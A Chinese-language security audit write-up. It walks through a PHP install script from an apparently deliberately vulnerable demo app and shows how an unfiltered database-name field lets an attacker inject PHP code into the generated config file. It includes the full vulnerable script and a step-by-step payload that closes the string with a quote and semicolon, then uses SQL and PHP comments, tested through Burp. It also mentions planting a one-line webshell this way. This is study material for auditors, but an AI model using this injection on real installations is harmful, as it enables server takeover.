审计3(由安装引起的服务器沦陷)
首先贴出安装页面的代码:
1 <?php 2 3 if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) { 4 //header( "Location: ../index.php" ); 5 } 6 require_once '../header.php'; 7 8 function check_writeable( $file ) { 9 if ( file_exists( $file ) ) { 10 if ( is_dir( $file ) ) { 11 $dir = $file; 12 if ( $fp = @fopen( "$dir/test.txt", 'w' ) ) { 13 @fclose( $fp ); 14 @unlink( "$dir/test.txt" ); 15 $writeable = 1; 16 } 17 else { 18 $writeable = 0; 19 } 20 } 21 else { 22 if ( $fp = @fopen( $file, 'a+' ) ) { 23 @fclose( $fp ); 24 $writeable = 1; 25 } 26 else { 27 $writeable = 0; 28 } 29 } 30 } 31 else { 32 $writeable = 2; 33 } 34 return $writeable; 35 } 36 37 $sys_info['mysql_ver'] = extension_loaded( 'mysql' ) ? 'OK' : 'NO'; 38 $sys_info['zlib'] = function_exists( 'gzclose' ) ? 'OK' : 'NO'; 39 $sys_info['gd'] = extension_loaded( "gd" ) ? 'OK' : 'NO'; 40 $sys_info['socket'] = function_exists( 'fsockopen' ) ? 'OK' : 'NO'; 41 $sys_info['curl_init'] = function_exists( 'curl_init' ) ? 'OK' : 'NO'; 42 43 echo '<div id="ourhp_er">'; 44 echo '<h1>系統環境</h1>'; 45 echo '<p>服務器操作系統: .................................................................... '.PHP_OS.'</p>'; 46 echo '<p>Web 服務器: .................................................... '.$_SERVER['SERVER_SOFTWARE'].'</p>'; 47 echo '<p>PHP 版本: .................................................................... '.PHP_VERSION.'</p>'; 48 echo '<p>MySQL 版本: .................................................................... '.$sys_info['mysql_ver'].'</p>'; 49 echo '<p>Zlib 支持: .................................................................... '.$sys_info['zlib'].'</p>'; 50 echo '<p>GD2 支持: .................................................................... '.$sys_info['gd'].'</p>'; 51 echo '<p>Socket 支持: .................................................................... '.$sys_info['socket'].'</p>'; 52 echo '<p>curl 支持: .................................................................... '.$sys_info['curl_init'].'</p>'; 53 echo '<h1>目錄權限</h1>'; 54 55 /* 检查目录 */ 56 $check_dirs = array ( 57 '../sys', 58 '../uploads' 59 ); 60 61 $i = 0; 62 foreach ( $check_dirs as $dir ) { 63 $full_dir = $dir; 64 $check_writeable = check_writeable( $full_dir ); 65 if ( $check_writeable == '1' ) { 66 echo "<p>".$check_dirs[$i]." ................................................................... <font color='#00CC33'>可寫</font></p>"; 67 } 68 elseif ( $check_writeable == '0' ) { 69 echo "<p>".$check_dirs[$i]." ................................................................... <font color='#ff0000'>不可寫</font></p>"; 70 $no_write = true; 71 } 72 elseif ( $check_writeable == '2' ) { 73 echo "<p>".$check_dirs[$i]." ................................................................... <b>不存在</b></p>"; 74 $no_write = true; 75 } 76 $i = $i + 1; 77 } 78 79 if ( $sys_info['gd'] == 'NO' || $sys_info['curl_init'] == 'NO' ) { 80 exit( '組建不支持,無法安裝使用!' ); 81 }else if ( $check_writeable == '0' || $check_writeable == '2' ) { 82 exit( '關鍵目錄不可寫,無法安裝使用!' ); 83 } 84 85 if ( $_POST ) { 86 87 if ( $_POST["dbhost"] == "" ) { 88 exit( '数据库连接地址不能为空' ); 89 }elseif ( $_POST["dbuser"] == "" ) { 90 exit( '数据库数据库登录名' ); 91 }elseif ( $_POST["dbname"] == "" ) { 92 exit( '请先创建数据库名称' ); 93 } 94 95 $dbhost = $_POST["dbhost"]; 96 $dbuser = $_POST["dbuser"]; 97 $dbpass = $_POST["dbpass"]; 98 $dbname = $_POST["dbname"]; 99 100 $con = mysql_connect( $dbhost, $dbuser, $dbpass ); 101 if ( !$con ) { 102 die( '数据库链接出错,请检查账号密码及地址是否正确: ' . mysql_error() ); 103 } 104 105 $result = mysql_query('show databases;') or die ( mysql_error() );; 106 While($row = mysql_fetch_assoc($result)){ 107 $data[] = $row['Database']; 108 } 109 unset($result, $row); 110 if (in_array(strtolower($dbname), $data)){ 111 mysql_close(); 112 echo "<script>if(!alert('數據庫已存在')){window.history.back(-1);}</script>"; 113 exit(); 114 } 115 116 mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() ); 117 118 $str_tmp="<?php\r\n"; 119 $str_end="?>"; 120 $str_tmp.="\r\n"; 121 $str_tmp.="error_reporting(0);\r\n"; 122 $str_tmp.="\r\n"; 123 $str_tmp.="if (!file_exists(\$_SERVER[\"DOCUMENT_ROOT\"].'/sys/install.lock')){\r\n\theader(\"Location: /install/install.php\");\r\nexit;\r\n}\r\n"; 124 $str_tmp.="\r\n"; 125 $str_tmp.="include_once('../sys/lib.php');\r\n"; 126 $str_tmp.="\r\n"; 127 $str_tmp.="\$host=\"$dbhost\"; \r\n"; 128 $str_tmp.="\$username=\"$dbuser\"; \r\n"; 129 $str_tmp.="\$password=\"$dbpass\"; \r\n"; 130 $str_tmp.="\$database=\"$dbname\"; \r\n"; 131 $str_tmp.="\r\n"; 132 $str_tmp.="\$conn = mysql_connect(\$host,\$username,\$password);\r\n"; 133 $str_tmp.="mysql_query('set names utf8',\$conn);\r\n"; 134 $str_tmp.="mysql_select_db(\$database, \$conn) or die(mysql_error());\r\n"; 135 $str_tmp.="if (!\$conn)\r\n"; 136 $str_tmp.="{\r\n"; 137 $str_tmp.="\tdie('Could not connect: ' . mysql_error());\r\n"; 138 $str_tmp.="\texit;\r\n"; 139 $str_tmp.="}\r\n"; 140 $str_tmp.="\r\n"; 141 $str_tmp.="session_start();\r\n"; 142 $str_tmp.="\r\n"; 143 $str_tmp.=$str_end; 144 145 $fp=fopen( "../sys/config.php", "w" ); 146 fwrite( $fp, $str_tmp ); 147 fclose( $fp ); 148 149 //创建表 150 mysql_select_db( $dbname, $con ); 151 mysql_query( "set names 'utf8'", $con ); 152 //导入数据库 153 $sql=file_get_contents( "install.sql" ); 154 $a=explode( ";", $sql ); 155 foreach ( $a as $b ) { 156 mysql_query( $b.";" ); 157 } 158 mysql_close( $con ); 159 file_put_contents($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock', 'virink'); 160 echo "<script>if(!alert('安裝成功')){window.location.href='../index.php';}</script>"; 161 exit; 162 }else { 163 echo "<form id='form1' name='form1' method='post' action=''>"; 164 echo "<table width='100%' border='0' align='center' cellpadding='10' id='table'>"; 165 echo "<tr>"; 166 echo "<td colspan='2'><h1></h1></td>"; 167 echo "</tr>"; 168 echo "<tr>"; 169 echo "<td><div align='right'>數據庫连接地址:</div></td>"; 170 echo "<td><input name='dbhost' type='text' id='input' value='localhost'/> *</td>"; 171 echo "</tr>"; 172 echo "<tr>"; 173 echo "<td><div align='right'>數據庫登錄名:</div></td>"; 174 echo "<td><input name='dbuser' type='text' id='input' value='root'/> *</td>"; 175 echo "</tr>"; 176 echo "<tr>"; 177 echo "<td><div align='right'>數據庫登錄密碼:</div></td>"; 178 echo "<td><input name='dbpass' type='password' id='input' value='root'/> *</td>"; 179 echo "</tr>"; 180 echo "<tr>"; 181 echo "<td><div align='right'>創建數據庫名稱:</div></td>"; 182 echo "<td><input name='dbname' type='text' id='input' value='vauditdemo'/> *</td> "; 183 echo "</tr>"; 184 echo "<tr>"; 185 echo "<td></td>"; 186 echo "<td><input type='submit' class='btn' name='Submit' value='安裝' /></td>"; 187 echo "</tr>"; 188 echo "</table>"; 189 echo "</form>"; 190 } 191 ?> 192 193 194 <?php 195 require_once '../footer.php'; 196 ?>
判断是否存在安装过的 /sys/install.lock 文件,如果存在就跳到首页。但是并没有退出,下面的函数依然可以执行。
下面的函数判断了一些数据库存不存在,目录可不可写,组件是否支持等问题。
在110行发现,当发现数据库名存在时,直接exit()退出,不存在就创建数据库。但是并没有对传入的数据名名称进行过滤!(由此可以想办法插入一句话木马)
在146行发现,他把数据库名按照原字符串的形式写在了 ../sys/config.php文件中,由此可以判断一句话木马会进行解析。
构造payload:
mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );
发现sql语句如果出错的话,就会执行 mysql_error而不会执行 CREATE DATABASE语句去创建数据库。
首先:1先要把or die的语句注释 (mysql的语句用 注释语句有 # 、-- - 俩种方式)
2.不能起和以前数据库的名相同的名字,因为上面判断了,如果数据库存在直接exit()
payload: test1;-- - 先构造个大概然后观察sys/config.php继续构造
1 <?php 2 3 error_reporting(0); 4 5 if (!file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){ 6 header("Location: /install/install.php"); 7 exit; 8 } 9 10 include_once($_SERVER["DOCUMENT_ROOT"].'/sys/lib.php'); 11 12 $host="localhost"; 13 $username="root"; 14 $password="root"; 15 $database="vauditdemo"; 16 $conn = mysql_connect($host,$username,$password); 17 mysql_query('set names utf8',$conn); 18 mysql_select_db($database, $conn) or die(mysql_error()); 19 if (!$conn) 20 { 21 die('Could not connect: ' . mysql_error()); 22 exit; 23 } 24 25 session_start(); 26 27 ?>
继续构造 test1;-- -
首先需要
1.用双信号和分号闭合 test1;-- -”;
2.构造想执行的php语句 test1;-- -”;phpinfo(); 记住语句结束一定要加分号,python写多了导致我php老忘写分号,的确很坑。
3.最后发现会成为这种形式 test1;-- -”;phpinfo(); ”; 后面会多个多余的分号和双信号导致php语句错误.
4.使用php单行注释// 来注释掉双引号和分号
最终的payload为 test1;-- -”;phpinfo();//
开始试验:
先进入intsall/install.php 需要将其中的
//header( "Location: ../index.php" );
语句先注释,因为到这儿会直接跳转到首页,影响抓安装页的包。所以先将其注释掉。
用burp抓包分析
将变量dbname改为自己的payload
,
发现sys/config.php文件中的数据库名称已改
访问该网址发现
攻击成功!